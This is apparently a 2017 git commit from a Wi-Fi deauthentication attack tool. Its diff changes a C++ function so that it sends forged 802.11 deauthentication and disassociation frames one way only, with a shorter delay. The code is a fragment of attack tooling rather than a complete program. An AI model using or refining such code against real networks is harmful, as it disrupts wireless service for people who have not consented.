Improved Deuth function

Most people use broadcast instead of a selected client and sending a packet to the AP with FF:FF:FF:FF:FF:FF as sender wouldn't make much sense.
This commit is contained in:
Stefan Kremser
2017-08-09 00:00:09 +02:00
parent 458cacc2e0
commit 05e55eb803

View File

@@ -139,12 +139,8 @@ void Attack::sendDeauths(Mac from, Mac to){
buildDeauth(from, to, 0xc0, settings.deauthReason );
if(send()) packetsCounter[0]++;
buildDeauth(from, to, 0xa0, settings.deauthReason );
send();
buildDeauth(to, from, 0xc0, settings.deauthReason );
send();
buildDeauth(to, from, 0xa0, settings.deauthReason );
send();
delay(5);
if(send()) packetsCounter[0]++;
delay(3);
}
}